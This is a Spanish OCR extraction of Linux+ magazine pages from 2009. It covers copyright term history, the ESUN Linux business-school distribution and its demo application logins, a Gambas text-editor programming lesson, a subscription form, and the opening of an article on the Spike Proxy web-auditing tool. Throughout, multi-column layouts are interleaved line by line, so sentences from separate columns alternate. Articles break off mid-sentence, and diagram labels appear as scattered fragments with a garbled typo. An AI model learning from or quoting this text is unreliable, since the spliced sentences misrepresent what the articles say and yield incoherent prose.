en Estados Unidos habían adoptado el Convenio de Berna dónde, a la complicación de gestionar el copyright de
La historia del Copyright en Estados Unidos instigados por Victor Hugo, se había estable- esta forma, estableció diversas modalidades.
está llena de modificaciones y extensiones. En cido la duración del Copyright en 50 años Por un lado, los trabajos publicados con ante-
1790 se establecían las bases federales para el después de la muerte del autor. Sin embargo, rioridad a Enero de 1976, estarían protegidos
control del Copyright, marcando un plazo de Estados Unidos siguió una línea un tanto dis- durante 75 años desde su publicación, lo cuál
14 años, más otros 14 adicionales tras pedir una cordante estableciendo 28 años de copyright, permitía proteger a los trabajos con copyright
prórroga, durante los cuales los autores eran más una extensión de otros 28 años tras pedir posterior a 1909 gracias a los 28+28 años que
dueños y señores de sus trabajos, con derechos una renovación de los derechos. Además, se protegía el acto de 1909. Por otra parte, los
únicos sobre sus obras para imprimir, reimpri- establecía que solo se aplicarían estas normas trabajos cuyo copyright recaía en corpora-
ciones, pasaban a estar protegidos durante 75
años. La razón que se esgrimió para proteger
los trabajos durante tanto tiempo es el avance
en las comunicaciones, que, según el Congre-
so, aumentaba sustancialmente la vida comer-
cial de la mayoría de las creaciones.
El acto de 1976 acercó a los Estados Uni-
dos a lo establecido en la Convención de Ber-
na, pero no sería hasta 1988 cuando entrarían
realmente dentro de este tratado gracias al
acto de extensión de 1988, también calificado
como el Acto de Protección de Mickey Mouse.
Este acto fue promovido por la compañía Dis-
ney que veía peligrar el copyright de muchos
de sus trabajos, en particular el de su persona-
je más carismático, Mickey Mouse, de ahí el
sobrenombre popular. Con este acto, las obras
pasaron a estar protegidas hasta 70 años des-
pués de la vida del autor, o en el caso de los
registros realizados por empresas, 120 años
después de la creación o 95 años después de
la publicación (lo primero que ocurriera).
Extensión
del Copyright en Europa
En Europa las leyes aplicables al Copyright
marcan una duración de 50 años, por lo que
durante esos 50 años, los propietarios del Co-
pyright de las obras tienen el control de la di-
fusión, reproducción, copia o modificación de
las mismas, pasando posteriormente al dominio
público.
En los últimos tiempos, ha habido varias
campañas por parte de los dinosaurios de la
Figura 3. Imagen de Mickey Mouse, protegida bajo Copyright hasta el 2020 gracias al acto de protección de música y otras artes, como Sir Cliff Richard
1998, y utilizada mediante el derecho a cita. (http://en.wikipedia.org/wiki/File:Copyright_term.svg) y Sir Paul McCartney (The Beatles) o Roger
62 Linux+ 4/2009
conocimiento libre
Extensión del Copyright en Europa
www.lpmagazine.org 63
linux en la empresa
ESUN Linux
Software Libre,
desde el aula a la empresa
Juan Pablo Tobar
Hoy en día por cada área de administración de empresas existe una
amplia oferta de aplicaciones destinadas a mejorar la productividad
de los profesionales a cargo. Sin embargo, la integración de software
en la gestión no es sólo de interés de las empresas, también lo
es de las organizaciones encargadas de preparar a los futuros
profesionales del área.
E
n la primera parte de este artículo veremos como to con aquella de la Universidad de Chile, darían luego origen
linux@software.com.pl
64 Linux+ 4/2009
linux en la empresa
ESUN Linux
Ventajas
de usar Linux en una
Escuela de Negocios
La razones que ha tenido la Escuela de Nego-
cios de la UTA para incluir a Linux en sus acti-
vidades formativas, se pueden analizar desde el
punto de vista de sus principales beneficiarios:
Figura 2. El escritorio en modo Live
Para sus alumnos: Brasil, India, California), investigación científi- Para sus profesores: más herramientas
Entrega formación en una tecnología ca (NASA), entretenimiento (Pixar), transporte para apoyar la formación
de popularidad creciente (Boeing y FedEx) y defensa (Departamento de El software tiene la capacidad de involucrar al
La Feria Internacional de Electrónica de Consu- Defensa de EEUU). alumno con los contenidos teóricos, es por esto
mo (CES), en Las Vegas, EEUU, es un evento De esta manera, se hace necesario que se que incluirlos en los programas de formación se
que desde 1967 entrega las principales tenden- entregue a los alumnos la oportunidad de co- torna muy importante.
cias y anuncios del mercado tecnológico. En la nocer alternativas que se estén popularizando, Si utilizamos aplicaciones cerradas, la ca-
versión de este año, celebrada entre el 8 y 11 de con el fin de que reciban una formación que pacidad para incluir software en las asignaturas
enero, destacó la amplia presencia de Linux en se relacione directamente con las tendencias estará limitada por los recursos disponibles
múltiples nuevos productos, como por ejemplo: actuales. para adquirir licencias para cada programa
portables, telefonía, servidores, virtualización Por otra parte, las características únicas y cada equipo que utilicen los alumnos y, tam-
y soluciones de almacenamiento masivo. de las aplicaciones libres, les da a los alumnos bién, a la capacidad de los alumnos de ad-
La creciente popularidad de las soluciones la oportunidad de participar en las distintas quirir dichas licencias en caso de que quieran
de Software Libre ha permitido que nos encon- comunidades encargadas de desarrollar, docu- tener acceso a los mismos programas.
tremos con experiencias exitosas en casos tan mentar y/o difundir la plataforma, pudiendo Por otra parte, la gran mayoría de las apli-
diversos como: servicios financieros (Bolsa de así promover la generación de conocimiento caciones abiertas son también gratuitas, por
Nueva York y Merril Lynch & Co.), Internet local y potenciando la capacidad de trabajo lo que al desarrollar un sistema libre se tiene
(Google, Yahoo!), gobiernos y estados (China, en equipo. acceso a miles de programas para ser usados
en el apoyo a las clases. Si quisiéramos hacer
esto mismo con software cerrado sería econó-
micamente inviable, al menos en número de
aplicaciones.
www.lpmagazine.org 65
linux en la empresa
ESUN Linux
• Sourceforge (http://sourceforge.net/),
• Freshmeat (http://freshmeat.net/browse/201/),
• LinuxAlt (http://www.linuxalt.com/),
• FSF (http://directory.fsf.org/),
• OSALT (http://www.osalt.com/es/),
• SOFOFA (http://www.sofofa.cl/sofofa/
index.aspx?channel=4319&appintanceid
=12189&pubid=5585),
• Ohloh (http://www.ohloh.net/projects/
search),
• Freealts (http://www.freealts.com/),
• Savannah (http://savannah.gnu.org/),
• GNA (https://gna.org/),
• Sourcewell (http://sourcewell.berlios.de/),
• Linuxrsp (http://www.linuxrsp.ru/win-lin-
soft/table-eng.html).
Aplicaciones
Figura 3. Primer paso de la instalación: Selección del idioma
libres sobre Windows
comunidad. En el caso particular del software • Definir los programas y las características La segunda etapa buscó desarrollar experiencia
en la gestión de pequeñas empresas existen dos a incluir en el Sistema: La selección de las en uso de aplicaciones libres bajo Windows, en
problemas básicos: el uso de programas sin li- aplicaciones que finalmente se incluyeron las funciones básicas de: navegación en Inter-
cencia (piratería) y el bajo índice de integración en el proyecto se realizó en tres etapas, net y cliente de correo. Afortunadamente dicha
de software en los procesos de negocio. Ambos integrando filtros en cada una de ellas: experiencia ya existía al momento de desarro-
problemas pueden ser enfrentados entregando – Filtro 1: Aplicaciones nativas para Li- llar el proyecto, mediante el uso de: Firefox
una versión de Linux adaptada al entorno. nux, liberadas bajo una licencia li- y Thunderbird.
De esta manera, una distribución Linux con bre, autorizada por la Free Software
software en las áreas de: CRM, ERP, contabi- Foundation o la Open Source Initia- Desarrollo
lidad, gestión de proyectos y gestión de recur- tive y con actividad durante el último
Una vez definidos los perfiles de usuarios y de
sos humanos, permite profundizar la vincula- año (2417 aplicaciones). hardware, así como de las aplicaciones necesa-
ción con el medio de la Escuela de Negocios – Filtro 2: Según madurez, idioma y pe-
rias para satisfacer las necesidades de dichos
y entrega a las empresas de menor tamaño la riodicidad de actualizaciones (140 apli-
perfiles, se inició el desarrollo de la distribución
oportunidad de aumentar el uso de software de caciones). basada en Linux.
gestión de forma completamente legal y a un – Filtro 3: Medición del desempeño en Para el desarrollo se seleccionó como
bajo costo. equipo prototipo, según funcionalidades
distribución base a: Ubuntu Linux en su ver-
sión Minimal CD (9.9MB). Esta versión usa
entregadas versus uso de memoria RAM
El Proceso de Migración y espacio en disco (31 aplicaciones).
un instalador en modo texto para entregarnos
Una vez vistas las razones para implementar un sistema básico, a partir del cual podemos
Linux en la Escuela de Negocios veremos cuál Los directorios consultados para la búsqueda de trabajar para obtener finalmente uno adaptado
fue el proceso seguido. aplicaciones fueron: a nuestras necesidades.
Investigación
El objetivo general de la primera etapa fue
conocer la realidad actual de la Escuela de
Negocios, tanto a nivel de necesidades de
software como del tipo de hardware disponi-
ble para implementar el proyecto. Los objeti-
vos específicos de esta etapa fueron:
66 Linux+ 4/2009
linux en la empresa
ESUN Linux
www.lpmagazine.org 67
linux en la empresa
ESUN Linux
68 Linux+ 4/2009
linux en la empresa
ESUN Linux
• Abanq (http://abanq.org/);
• Dolibarr (http://www.dolibarr.org/):
– usuario: demo,
– clave: democlave,
– administrador: admin,
– clave: admin1378;
• SQLLedger (http://sql-ledger.com/):
– usuario: demo,
– clave: democlave,
– clave administrador: admin1378;
• SugarCRM (http://www.sugarcrm.com/):
– usuario: demo,
– clave: democlave,
– administrador: admin,
– clave: admin1378;
• vTigerCRM (http://www.vtiger.com/):
– usuario: demo,
– clave: democlave,
Figura 9. Último paso de la instalación: Confirmación
– administrador: admin,
Por último se nos muestra un resumen con A continuación veremos, en mayor detalle, – clave: admin1378.
todas las opciones que hemos seleccionado. cuáles son las aplicaciones incluidas en ESUN
Si estamos de acuerdo con todo presionamos Linux, clasificadas según el área a la que per- Gestión de Proyectos
Instalar y esperamos a que el proceso concluya tenecen. Para aquellas aplicaciones que lo En esta área existe una amplia oferta de apli-
(cerca de 20 minutos según las características requieran se indica también la información de caciones libres, pero aquellos que se desem-
del equipo). ingreso (nombre de usuario y clave). peñaron mejor en las pruebas son los si-
Una vez concluida la instalación, se nos guientes:
pedirá que retiremos el CD del lector y que ERP/CRM
reiniciemos el equipo. Al reiniciar, si tenemos La Planificación de Recursos Empresariales • Achievo (http://www.achievo.org/):
más de un sistema operativo, se nos preguntará (ERP por sus siglas en inglés) y la Adminis- – usuario: demo,
cuál deseamos utilizar, de lo contrario arrancará
tración de la Relación con el Cliente (CRM), – clave: democlave,
directamente con el que acabamos de instalar forman dos de las principales herramientas – administrador: administrator,
(Figura9). de gestión de empresas actuales, por lo que el – clave: admin1378;
software de apoyo a estas actividades ha co- • Dotproject (http://www.dotproject.net/):
Las aplicaciones incluidas brado gran popularidad e importancia en los • usuario: demo,
Una vez finalizada la instalación ya tenemos últimos 15 años. • clave: democlave,
nuestro sistema funcionando desde el disco Los programas ERP/CRM incluidos son • administrador: admin,
duro y podemos ver con mayor detenimien- los siguientes: • clave: admin1378;
to los programas que tenemos disponibles.
Además de las aplicaciones típicas el sistema
también incluye programas basados en Web.
Sobre estos últimos se debe señalar que para
su correcto funcionamiento se necesita que
esté corriendo el software encargado del ser-
vicio Web (Apache) y alguna de las bases de
datos que se incluyen en el sistema (MySQL
o Postgresql).
Cuando se intenta acceder a una aplicación
basada en Web el sistema verifica si están co-
rriendo correctamente los servicios Web y de
base de datos, de no ser así le indica al usua-
rio que debe iniciarlos antes de poder usar
el programa. Para arrancar estos servicios
ejecutamos los siguientes comandos en una
terminal (una línea a la vez según el servicio
que se necesite iniciar):
www.lpmagazine.org 69
linux en la empresa
ESUN Linux
• Egroupware (http://egroupware.org):
– usuario: demo,
– clave: guest,
– administrador: admin,
– clave: admin1378;
• Planner (http://live.gnome.org/Planner);
• TUTOS (http://www.tutos.org/):
– usuario: demo,
– clave: democlave,
– administrador: admin,
– clave: admin1378.
Contabilidad
Si bien los programas ERP integran módulos
de contabilidad, es importante entregar esta
función individualmente ya que es posible
que empresas de menor tamaño no requieran
Figura 11. Página principal de SugarCRM
todos los módulos que incluyen los ERP:
los programas ERP existen módulos para esta • Phpmyadmin (http://www.phpmyadmin.
• GNUCash (http://www.gnucash.org/); actividad: net/home_page/index.php);
• Homebank (http://homebank.free.fr/ • Phppgadmin (http://phppgadmin.sourcefor
index.php?id=4). • OrangeHRM (http://www.orangehrm. ge.net/).
com/):
Comercio Electrónico – usuario: demo1, Internet
Se han incluido dos de las más populares apli- – clave: democlave, Las aplicaciones de esta sección están des-
caciones de comercio electrónico con el fin de – administrador: admin, tinadas a servir las funciones de navegación
que el usuario tenga un entorno de pruebas – clave: admin1378. y acceso a correo electrónico.
antes de publicar su tienda en Internet:
Oficina • Epiphany (http://projects.gnome.org/
• Oscommerce (http://www.oscommerce. La generación y edición de documentos de ofi- epiphany/);
com/): cina es una de las actividades más recurrentes, • Claws Mail (http://www.claws-mail.org/).
– administrador: admin, es por esto que se han incluido aplicaciones que
– clave: admin1378; cubren exitosamente las funcionalidades que Gráficos
• Magento – http://www.magentocommerce. entregan programas propietarios: Por último se incluye la principal herramienta
com/ de edición gráfica de Software Libre:
– administrador: admin, • Abiword (http://www.abisource.com/);
– clave: admin1378. • Gnumeric (http://projects.gnome.org/ • GIMP (http://www.gimp.org/).
gnumeric/).
RRHH Se debe destacar que la gran mayoría de las
Al contrario de las categorías anteriores, la En caso de necesitar una solución más ex- aplicaciones de gestión de empresas inclui-
oferta de programas maduros y en español tensa puedes instalar OpenOffice (http://es. das en ESUN Linux son basadas en Web.
para la gestión de recursos humanos es limi- openoffice.org), para lo cual abres una termi- Esto implica que al usarlas necesitemos
tada. Sin embargo, cabe destacar que entre nal y ejecutas el siguiente comando: que estén funcionando el servidor Web y el
gestor de base de datos (ambos también in-
sudo aptitude install cluidos). Se han agregado dos pequeñas
openoffice.org aplicaciones que inician y detienen estos ser-
Sobre el autor openoffice.org-help-es vicios con el fin de evitar el consumo inne-
Juan Pablo Tobar dirige actualmente Ad- language-support-es cesario de recursos.
melix EIRL (http://www.admelix.com), em- En este artículo hemos visto un caso
presa orientada a desarrollar soluciones Bases de Datos práctico que muestra como se utiliza Linux,
basadas en Software Libre para empre- Si bien los motores de bases de datos inclui- y el Software Libre en general, en la for-
sas. Ingeniero Comercial y profesor part- dos tienen como objetivo principal servir mación de profesionales de la gestión de
time de la Escuela Universitaria de Nego- a otros programas de esta lista, también es empresas y como también puedes usar esas
cios de la Universidad de Tarapacá. Sus posible interactuar con ellos directamente mismas herramientas para tus iniciativas per-
intereses se centran en la aplicación he- mediante el uso de herramientas de línea de sonales.
rramientas libres en entornos organiza- comandos y gráficas presentes en el sistema: Finalmente para chequear nuevas versio-
cionales. Su bitácora personal es: http:// nes del sistema y obtener mayor información
www.kickbill.com • MySQL (http://www.mysql.com/); puedes consultar el sitio web: www.esunlinux.
• Postgresql (http://www.postgresql.com); com y/o escribir a: admin@esunlinux.com.
70 Linux+ 4/2009
Páginas
recomendadas
Programando
nuestro propio Editor de Texto
Jorge Emanuel Capurro
En esta entrega, veremos las facilidades que nos provee Gambas
para desarrollar un sencillo Editor de Texto. Para ello, daremos
una recorrida sobre los fundamentos del lenguaje BASIC y sus
estructuras, pasando también por el manejo de archivos de disco.
E
n esta segunda entrega del Curso de Progra- • Fecha de la venta,
linux@software.com.pl
72 Linux+ 4/2009
programación
Curso de programación en Gambas
www.lpmagazine.org 73
programación
Curso de programación en Gambas
Expresion
de Evaluacion La principal diferencia entre estas dos catego-
Verdadero Condicion
Codigo a Ejecutar rías es que en las Estructuras con Condición
CASE
Inferior, nos aseguramos que por lo menos se
Verdadero Condicion
CASE
Codigo a Ejecutar entre en el bucle una vez, al cambio, en las
Estructuras con Condición Superior no nos
Verdadero Condicion Codigo a Ejecutar
podemos asegurar esto.
CASE
Comencemos por las Estructuras iterativas
Falso
Codigo a Ejecutar con Condición Superior.
Condicion
de Finalizacion Condicion
de
Premanencia
Codigo a Ejecutar
Codigo a Ejacular
74 Linux+ 4/2009
programación
Curso de programación en Gambas
Tabla 2. Operadores Aritméticos. Num1 y Num2 son variables Más adelante en esta entrega veremos el uso
Operador Descripción Ejemplo de INC.
+ Suma Num1 + Num2 A modo de aclaración global, es necesario
resaltar que para las variables utilizadas en los
- Resta Num1 - Num2
bucles solamente pueden ser de tipo entero,
* Multiplicación Num1 * Num2
ya que no se puede iterar de 0 a 5,44212, por
/ División Num1 / Num2 ejemplo.
\ Resto de la división Num1 \ Num2
DIV Resto de la división Num1 DIV Num2 Bucle REPEAT... UNTIL
MOD Resto de la división Num1 MOD Num2 Este bucle es similar al bucle WHILE...WEND,
INC Incrementa 1 INC Num1 con salvedad de que éste se encuentra en la
categoría de Estructuras iterativas con Con-
DEC Decrementa 1 DEC Num1
dición Inferior, teniendo como significado
Para entender mejor este bucle, contemplemos WHILE... WEND, poniendo, por ejemplo, que que un bucle del tipo REPEAT... UNTIL se
la Figura 3. el bucle finalice cuando se ingrese el número ejecutará por lo menos una vez, sin impor-
Si ejecutamos este código fuente, observa- de legajo -1 (Inexistente). Vale aclarar que la tar el valor de la variable de condición. Es
remos cómo el bucle incrementa de uno en uno condición del bucle es una condición de per- importante destacar que el valor de perma-
el valor de la variable. Si se llega a agregar el manencia, es decir, la condición nos especifi- nencia de la variable tiene que ser un valor
valor de STEP, el bucle no saltará de uno en uno, ca cuándo el bucle se ejecutará y no cuándo que especifique la negación. Observemos el
sino que saltará según el valor especificado en saldrá. Para aclarar mejor esto, veamos el diagrama que se encuentra en la Figura 5,
STEP. Por ejemplo, si tenemos el siguiente bu- ejemplo de la Figura 4. junto al código fuente de ejemplo.
cle FOR... NEXT: Podemos observar que el diagrama del En este código fuente, se ejecuta el bloque
bucle WHILE... WEND es similar al de bucle REPEAT... UNTIL mientras que la variable Nu-
FOR Variable=0 TO 10 STEP 2 FOR... NEXT, ya que ambos funcionan de mero no sea menor a 8. Cuando la variable tome
Código Fuente Gambas la misma manera, difiriendo en que el bucle el valor 8, se saldrá del bucle. Es por eso que de-
NEXT FOR... NEXT necesita un valor de inicializa- cimos que la condición tiene que tomar un valor
ción y finalización para poder ejecutarse, lo que especifique una permanencia negativa.
La variable en este caso tomará los valores que lo convierte en un bucle que se ejecutará A modo de resumen, se deja en la Figura 6,
0,2,4,6,8,10 ejecutándose 6 veces, y no 10 un numero predefinido de veces, por el con- un diagrama con las estructuras del lenguaje,
veces como el bucle anterior. En este caso, trario el bucle WHILE.. WEND solamente tiene según su clasificación.
nuestra cuenta matemática no nos será de la condición por la cual se permanecerá den-
utilidad. tro del bucle. Para poder entrar dentro de un Operadores
bucle WHILE... WEND, en necesario que antes del Lenguaje
Bucle WHILE... WEND de entrar, el valor que juega como condición Cualquier lenguaje de programación con-
Cuando necesitamos ejecutar una porción de de permanencia en el bucle sea VERDADE- vencional divide a sus operadores en 3 ca-
código fuente un número de veces que no son RO, de lo contrario nunca se podría ingresar tegorías: aritméticos, lógicos y relacionales.
fijas, es decir, que no lo tenemos especificado en el bucle. A modo de ejemplo, supongamos Estos operadores nos servirán para poder rea-
anteriormente, lo mejor es utilizar un bucle que la variable Numero esté inicializada de lizar operaciones matemáticas, comparar va-
del tipo WHILE... WEND. Supongamos que antermano con el valor 8 antes de entrar al lores, como así también, utilizar expresiones
tenemos un programa que nos pide que ingre- bucle. Esto daría como resultado un valor booleanas.
semos los datos de los alumnos de una escuela FALSE, ya que 8 no es distinto de 8, y por esa Como bien su nombre lo indica, los ope-
para guardarlos en una Base de Datos, pero no razón nunca se entraría en el bucle. Vemos en radores aritméticos tienen la tarea de realizar
sabemos cuántos alumnos son de antemano. la Figura 4 el uso de la sentencia INC, la cual operaciones matemáticas. Podemos ver los
En este caso, utilizaríamos un bucle del tipo se encarga de sumarle 1 al valor de la variable operadores aritméticos disponibles en Gambas
que tiene a su derecha, cada vez que se itere. en la Tabla 2.
Condicion
NOT de Selección Iteración
Premanencia
www.lpmagazine.org 75
programación
Curso de programación en Gambas
76 Linux+ 4/2009
programación
Curso de programación en Gambas
www.lpmagazine.org 77
programación
Curso de programación en Gambas
78 Linux+ 4/2009
programación
Curso de programación en Gambas
www.lpmagazine.org 79
programación
Curso de programación en Gambas
Listado 7. Código Fuente 6. Codificando el btnCerrarArchivo procedemos a guardar el archivo, tal como
lo hicimos en el btnGuardar, es decir, con
el método SAVE. Podemos ver que también
PUBLIC SUB btnCerrarArchivo_Click( ) le reasignamos la propiedad text al FMain,
IF ModificoArchivo = TRUE THEN para que nos muestre en la barra de título el
IF Message.Question(''¿Desea guardar las modificaciones?'', nombre del archivo que acabamos de guardar.
''Si'', ''No'') = 1 THEN Vale aclarar que la variable Nombre, declarada
Archivo.Save(RutaArchivo, txtEditorTexto.Text) dentro del evento, solo se puede usar mientras
ENDIF el evento esté activo, es decir, si queremos uti-
ENDIF lizar su valor en otra parte del programa, nos
IF Archivo <> NULL THEN saldrá un cartel de error, informándonos que la
CLOSE #Archivo variable no existe. Esta variable se crea cuando
ENDIF el evento Click se dispara, y muere cuando el
ModificoArchivo = FALSE evento termina.
Fmain.Text = ''Editor de Texto'' Para codificar el btnAbrir, no hace falta
btnGuardar.Enabled = FALSE aplicar muchos más conceptos que los vistos
btnGuardarComo.Enabled = FALSE hasta el momento. Gambas trata que su códi-
btnCerrarArchivo.Visible = FALSE go sea similar al realizar acciones similares,
txtEditorTexto.Enabled = FALSE pudiendose asi, aplicar las mismas técnicas
txtEditorTexto.Text = '' '' dependiendo de una tarea u otra (Ver recuadro
txtEditorTexto.SetFocus ¡Igualdad de Condiciones!). En el Código
END Fuente 5 (Listado 6) podemos observar cómo
quedaría codificado nuestro botón para poder
Listado 8. Codigo Fuente 7. Ultimas codificaciones de nuestros botones abrir un archivo y qué se muestre en nuestro
editor de texto.
PUBLIC SUB Form_Close( ) PUBLIC SUB btnSalir_Click( ) Comparando este código con otros vistos
btnCerrarArchivo_Click( ) btnCerrarArchivo_Click( ) anteriormente, podemos observar que solamen-
QUIT QUIT te difieren en un par de aspectos. Principalmen-
END END te, se procede al ingreso de datos y la valida-
PUBLIC SUB btnDeshacer_Click( ) PUBLIC SUB btnCopiar_Click( ) ción de que realmente exista el archivo que el
txtEditorTexto.Undo txtEditorTexto.Copy usuario quiere abrir, tal cual como lo hicimos
END END anteriormente. Concentrémonos en la apertura
PUBLIC SUB btnRehacer_Click( ) PUBLIC SUB btnPegar_Click( ) del archivo. Como nos indica la sentencia OPEN
txtEditorTexto.Redo txtEditorTexto.Paste RutaArchivo FOR READ WRITE AS #Archi-
END END vo, aquí estamos abriendo un archivo (el que
PUBLIC SUB btnBloquear_Click( ) PUBLIC SUB btnCortar_Click( ) contiene la variable RutaArchivo), para que
IF txtEditorTexto.Enabled = FALSE THEN txtEditorTexto.Cut éste pueda ser leído y escrito, y por último, lo
txtEditorTexto.Enabled = TRUE END asociamos a nuestro descriptor de archivo para
ELSE poder manipularlo. El archivo está abierto para
txtEditorTexto.Enabled = FALSE lectura y escritura, ya que principalmente lo va-
ENDIF mos a leer todo para poder mostrar su contenido
END (READ) y, tal vez, el usuario lo quiera modificar
por lo que también tiene que tener permisos de
Listado 9. Codigo Fuente 8. Todo el código del formulario Fsplash escritura (WRITE).
Para poder mostrar la totalidad del archivo
PUBLIC SUB Form_Open( ) en nuestro txtEditorTexto, hacemos uso de
Fsplash.Center la función EOF (Ver Tabla 5), la cual determina
END si se ha llegado o no al final del archivo. Para
PUBLIC SUB Timer1_Timer( ) saber esta condición, nos valemos de la estruc-
Fsplash.Delete tura WHILE...WEND y del operador de negación
Fmain.Load NOT. Cada vez que recorramos el archivo,
Fmain.Show nos encargamos de leer una línea mediante
END la función LINE INPUT (Ver Tabla 6), la cual
nos extrae una línea del archivo y la almacena
texto almacenado en el control txtEditor- para el archivo, lo almacenamos en una varia- en la variable Linea, declarada al principio
Texto. ble declarada dentro del evento (DIM Nombre de nuestro evento. Luego, el contenido de la
El código del btnGuardarComo es similar AS String), verificamos que la ruta sea válida variable Linea la volcamos al txtEditor-
al de la creación de un nuevo archivo. Es decir, o que no exista el nombre del archivo, y por Texto, sumándole en carácter de salto de linea
le pedimos al usuario que ingrese un nombre último, si todo está correctamente ingresado, y retorno de carro, más conocido como la tecla
80 Linux+ 4/2009
programación
Curso de programación en Gambas
ENTER. De no ponerle este carácter cada vez que mos si se ha modificado el archivo evaluando el algún archivo asociado. Si ésta es diferente
finaliza una línea, veríamos todo el contenido valor de la variable ModificoArchivo, declarada de NULL, quiere decir que hay algún archivo
de nuestro archivo como una larga fila de carac- al principio del programa. De ser verdadero, le asociado a nuestro descriptor, y es por ello
teres. Para ello, se hace uso de la función Chr, el preguntamos al usuario, mediante un Message- que lo cerramos mediante la sentencia CLO-
cual se le pasa como parámetro el código ASCII Box, si antes de cerrar el archivo quiere guardar SE. Al cerrar el archivo, tenemos que restau-
(Ver Cuadro ¿Que es el código ASCII?) y retor- las modificaciones realizadas. De apretar en el rar el valor de la variable ModificoArchivo
na su equivalencia como carácter. botón SI, nos encargamos de guardar el archivo a FALSE, así se podrá volver a utilizar con
Gambas es un lenguaje de programación, invocando al método SAVE, usado anterior- los valores por defecto en otro archivo que
y como todo lenguaje, se puede traducir. Para mente. abramos.
entender mejor el recorrido de nuestro archivo, La función MessageBox, retorna valo- Una vez realizados estos cambios, res-
que mejor que traducirlo y leerlo en nuestro res para poder evaluarlos, según la posición tauramos los valores del editor y sus botones
idioma. Nuestro código de lectura de un archi- donde se encuentre el botón ubicado en el como si se hubiese iniciado nuevamente el
vo se leería de la siguiente manera: cuadro de mensaje. Como ejemplo, nuestro editor, quedando a la espera de que se abra o
Mientras que no termine el archivo (WHILE boton Sí, se encuentra en la primera posición cargue otro archivo para poder trabajar.
NOT Eof (Archivo), leer una línea del archivo (es el primer boton del MessageBox), es por Los últimos pasos para que nuestro
y guardarla en la variable 'Linea' (LINE ello que si el usuario aprieta en ese botón, editor quede funcionando se muestran en el
INPUT #Archivo, Linea). Luego, el contenido se retornará el valor 1, que será evaluado Código Fuente 7 (Listado 8). Como sabemos,
de nuestro Editor de Texto, es igual a su con- por la estructura IF... END IF. Siendo así los controles de Gambas nos proveen de
tenido anterior, sumándole la nueva línea y un que, si el usuario apretase en el botón No, la propiedades y métodos que nos facilitarán
carácter ENTER (txtEditorTexto = txtEditor- función retornaría el valor 2, ya que es ésta de muchas tareas, obviamente si elegimos
Texto + Linea + Chr(13)) la posición donde se encuentra ubicado en el el control adecuado para el trabajo que
Pasemos ahora a codificar el btnCerra- MessageBox. queremos realizar. Nosotros para la edición
rArchivo, para ello miremos el Código Fuente Acto seguido, nos encargamos de veri- del texto, elegimos el control TextArea (tx-
6 (Listado 7). Al iniciar el evento clic, verifica- ficar si en la Variable Archivo se encuentra tEditorTexto), que nos provee de muchos
métodos ya incluidos para hacer más fácil
la edición de texto. Estos métodos son Undo
(Deshacer), Redo (Rehacer), Cut (Cortar),
Copy (Copiar), Paste (Pegar), y muchos más.
Condicion
Por ello creo que no hace falta de explica-
ción adicional, ya que estos métodos reali-
Codigo si es
zan las tareas tal cual como su nombre in-
Codigo si es
Verdadero Falso dica. Podemos aclarar el funcionamiento de
solo algunos eventos.
El evento Close del FMain, se encarga de
llamar al evento Click del btnCerrarAr-
Figura 10. Creacion de un nuevo formulario que actuara como Splash chivo, ya que cuando cerramos el formu-
lario, nos tenemos que encargar de verificar
si hay algún archivo abierto, y de ser así,
que guarde sus modificaciones, tal cual
Condicion como está codificado en el evento Click del
btnCerrarArchivo. Este código, es un ade-
lanto de lo que veremos la próxima entrega
Codigo si es Codigo si es de este curso, el tema de Procedimientos
Verdadero Falso
y Funciones, que nos ahorrarán la tarea de
reescribir código de forma innecesaria. Una
vez llamado al evento, cerramos el progra-
Figura 11. Indicanmos el formulario de inicio para nuestra aplicación ma mediante la sentencia QUIT.
El botón btnBloquear, se encargará de
bloquear/desbloquear nuestro editor cada vez
que lo llamemos, es decir, cuando esté blo-
Condicion
queado no podremos modificar el texto que
se encuentra en él. Simplemente el funciona-
miento de este botón se remite en evaluar si
el editor está bloqueado o no. Si está bloquea-
Codigo si es Codigo si es
Verdadero Falso do, lo desbloqueamos, y si está desbloquea-
do, lo bloqueamos. Así, nuestro botón actúa
de una u otra forma, según el estado en que
se encuentre, expresado por la propiedad
Figura 12. Aspecto de un MessageBox en distintas librerías. Arriba QT de KDE y abajo GTK+ de GNOME ENABLED.
www.lpmagazine.org 81
programación
Curso de programación en Gambas
82 Linux+ 4/2009
Pedido de suscripción
Por favor, rellena este cupón y mándalo por fax: 0048 22 244 24 59 o por correo: Software-Wydawnictwo Sp. z o. o.,
Bokserska 1, 02-682 Varsovia, Polonia; e-mail: suscripcion@software.com.pl
Dirección ..............................................................................................................................................................................................................................
Título
número de
a partir
ejemplares número de Precio
del número
al año
Linux+DVD (1 DVD)
12 69 €
Mensual con dos DVDs dedicado a Linux
En total
Spike Proxy
David Álvarez García
Spike Proxy forma parte de la suite SPIKE, un proxy para el
protocolo Http / Https de código abierto usado para analizar las
aplicaciones web que nos interesen y su comunicación con los
clientes (navegadores); aplicación muy útil para desarrolladores
y para entusiastas de la seguridad.
U
n programa muy similar a Spike Proxy en dedicarle unas líneas a esta herramienta comentando sus ca-
linux@software.com.pl
Windows es el popular Odysseus. Este proxy racterísticas y funcionamiento. Toda su administración está
puede correr en local o bien servir a otros hosts basada en entorno web, al dejar spike arrancado, configurar
de la red, pero no es un software dedicado a el navegador y dirigirse con él a la dirección http://spike,
ofrecer comunicaciones http a determinados hosts, entre otras se podrá acceder a dicho panel y empezar a auditar el tráfico
cosas, porque carece del 99% de las opciones que un proxy de los clientes que estén usando nuestro ordenador como
web decente debería tener para esa finalidad. Su objetivo proxy para navegar, por norma será el mismo ordenador
prioritario es el análisis de las páginas webs; se encarga de que tiene el proxy instalado, es decir en local, recordemos
estudiar el tráfico Http / https generado entre un navegador que su uso está orientado a estudiar el tráfico y no a ofrecer
y una determinada web. Todas las peticiones y respuestas servicio de proxy web.
pasan por él. La funcionalidad que hace interesante a esta
herramienta es que permite repetir y editar solicitudes ya Descarga
realizadas, algo sin duda muy útil para los programadores e instalación de Spike Proxy
web. Como extra, Spike ofrece la posibilidad de hacer algu- Se puede descargar Spike Proxy de la siguiente dirección:
nos test de seguridad como inyecciones Sql, Xss, overflow, http://www.immunitysec.com/resources-freesoftware.shtml.
directorios transversales y alguna otra cosa relacionada con No requiere compilación / instalación, sólo hay que des-
vulnerabilidades, pero sin duda tenemos mejores herramien- comprimir el fichero .tgz, entrar en la carpeta y ejecutar el
tas orientadas a ese fin para GNU/Linux. script spkproxy.py:
84 Linux+ 4/2009
práctica
Spike Proxy
Una vez arrancada la aplicación, nos dirigimos Listado 1. Pulsando sobre Request Cache en el menú de administración
a nuestro navegador y le indicamos que se dirija
